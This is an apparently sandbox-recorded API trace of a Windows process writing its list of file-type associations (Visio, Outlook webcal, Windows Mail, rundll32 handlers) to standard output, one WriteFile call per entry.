[0101.948] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vcard_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /vcard \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vcard_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /vcard \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 72 [0101.948] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x47, lpOverlapped=0x0) returned 1 [0101.948] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.Drawing.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n") returned 92 [0101.948] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.948] GetFileType (hFile=0x5c) returned 0x3 [0101.948] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.Drawing.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.Drawing.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 93 [0101.948] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5c, lpOverlapped=0x0) returned 1 [0101.949] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.Drawing.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n") returned 92 [0101.949] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.949] GetFileType (hFile=0x5c) returned 0x3 [0101.949] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.Drawing.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.Drawing.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 93 [0101.949] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5c, lpOverlapped=0x0) returned 1 [0101.949] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.DrawingMacroEnabled.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n") returned 104 [0101.949] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.949] GetFileType (hFile=0x5c) returned 0x3 [0101.949] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.DrawingMacroEnabled.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.DrawingMacroEnabled.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 105 [0101.949] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x68, lpOverlapped=0x0) returned 1 [0101.950] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.Stencil.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" /ro \"%1\"\r\n") returned 87 [0101.950] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.950] GetFileType (hFile=0x5c) returned 0x3 [0101.950] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.Stencil.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" /ro \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.Stencil.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" /ro \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0101.950] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0101.950] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.Stencil.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" /ro \"%1\" /ou \"%u\"\r\n") returned 96 [0101.950] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.950] GetFileType (hFile=0x5c) returned 0x3 [0101.950] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.Stencil.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" /ro \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.Stencil.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" /ro \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97 [0101.950] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x60, lpOverlapped=0x0) returned 1 [0101.951] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.StencilMacroEnabled.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" /ro \"%1\" /ou \"%u\"\r\n") returned 108 [0101.951] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.951] GetFileType (hFile=0x5c) returned 0x3 [0101.951] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.StencilMacroEnabled.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" /ro \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.StencilMacroEnabled.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" /ro \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 109 [0101.951] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x6c, lpOverlapped=0x0) returned 1 [0101.951] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.Template.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\"\r\n") returned 84 [0101.951] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.951] GetFileType (hFile=0x5c) returned 0x3 [0101.951] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.Template.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.Template.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 85 [0101.951] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x54, lpOverlapped=0x0) returned 1 [0101.952] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.Template.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n") returned 93 [0101.952] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.952] GetFileType (hFile=0x5c) returned 0x3 [0101.952] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.Template.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.Template.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 94 [0101.952] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5d, lpOverlapped=0x0) returned 1 [0101.952] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.TemplateMacroEnabled.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n") returned 105 [0101.952] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.952] GetFileType (hFile=0x5c) returned 0x3 [0101.952] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.TemplateMacroEnabled.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.TemplateMacroEnabled.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 106 [0101.952] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x69, lpOverlapped=0x0) returned 1 [0101.953] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.TemplatePackage.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\"\r\n") returned 91 [0101.953] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.953] GetFileType (hFile=0x5c) returned 0x3 [0101.953] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.TemplatePackage.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.TemplatePackage.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92 [0101.953] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5b, lpOverlapped=0x0) returned 1 [0101.953] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 91 [0101.953] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.953] GetFileType (hFile=0x5c) returned 0x3 [0101.953] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92 [0101.953] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5b, lpOverlapped=0x0) returned 1 [0101.954] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.WebDrawing.14=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n") returned 95 [0101.954] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.954] GetFileType (hFile=0x5c) returned 0x3 [0101.954] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.WebDrawing.14=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.WebDrawing.14=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 96 [0101.954] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5f, lpOverlapped=0x0) returned 1 [0101.954] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Visio.Workspace.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\"\r\n") returned 85 [0101.954] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.954] GetFileType (hFile=0x5c) returned 0x3 [0101.954] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Visio.Workspace.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visio.Workspace.11=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\VISIO.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86 [0101.954] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x55, lpOverlapped=0x0) returned 1 [0101.955] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="VisioViewer.Viewer=\"%ProgramFiles%\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 76 [0101.955] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.955] GetFileType (hFile=0x5c) returned 0x3 [0101.955] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VisioViewer.Viewer=\"%ProgramFiles%\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisioViewer.Viewer=\"%ProgramFiles%\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 77 [0101.955] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0101.955] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Import \"%1\"\r\n") returned 66 [0101.955] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.955] GetFileType (hFile=0x5c) returned 0x3 [0101.955] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Import \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Import \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67 [0101.956] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x42, lpOverlapped=0x0) returned 1 [0101.956] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="wbcatfile=%SystemRoot%\\system32\\sdclt.exe /restorepage\r\n") returned 56 [0101.956] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.956] GetFileType (hFile=0x5c) returned 0x3 [0101.956] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wbcatfile=%SystemRoot%\\system32\\sdclt.exe /restorepage\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbcatfile=%SystemRoot%\\system32\\sdclt.exe /restorepage\r\n", lpUsedDefaultChar=0x0) returned 57 [0101.956] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x38, lpOverlapped=0x0) returned 1 [0101.956] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WCN.AutoPlayHandler=%systemroot%\\system32\\rundll32.exe %systemroot%\\system32\\wzcdlg.dll,ImportFlashProfile %L\r\n") returned 111 [0101.957] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.957] GetFileType (hFile=0x5c) returned 0x3 [0101.957] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WCN.AutoPlayHandler=%systemroot%\\system32\\rundll32.exe %systemroot%\\system32\\wzcdlg.dll,ImportFlashProfile %L\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WCN.AutoPlayHandler=%systemroot%\\system32\\rundll32.exe %systemroot%\\system32\\wzcdlg.dll,ImportFlashProfile %L\r\n", lpUsedDefaultChar=0x0) returned 112 [0101.957] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x6f, lpOverlapped=0x0) returned 1 [0101.957] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="wcxfile=rundll32.exe xwizards.dll,RunWizard /u {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z%1\r\n") returned 92 [0101.957] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.957] GetFileType (hFile=0x5c) returned 0x3 [0101.957] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wcxfile=rundll32.exe xwizards.dll,RunWizard /u {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z%1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wcxfile=rundll32.exe xwizards.dll,RunWizard /u {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z%1\r\n", lpUsedDefaultChar=0x0) returned 93 [0101.957] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5c, lpOverlapped=0x0) returned 1 [0101.957] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="wdpfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 123 [0101.957] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.957] GetFileType (hFile=0x5c) returned 0x3 [0101.958] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wdpfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wdpfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 124 [0101.958] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7b, lpOverlapped=0x0) returned 1 [0101.958] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="webcal=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n") returned 82 [0101.958] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.958] GetFileType (hFile=0x5c) returned 0x3 [0101.958] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="webcal=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webcal=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83 [0101.958] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0101.958] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="webcals=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n") returned 83 [0101.958] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.958] GetFileType (hFile=0x5c) returned 0x3 [0101.958] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="webcals=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webcals=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0101.959] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0101.959] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="webpnpFile=%SystemRoot%\\system32\\wpnpinst.exe %1\r\n") returned 50 [0101.959] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.959] GetFileType (hFile=0x5c) returned 0x3 [0101.959] _get_osfhandle (_FileHandle=1) returned 0x5c 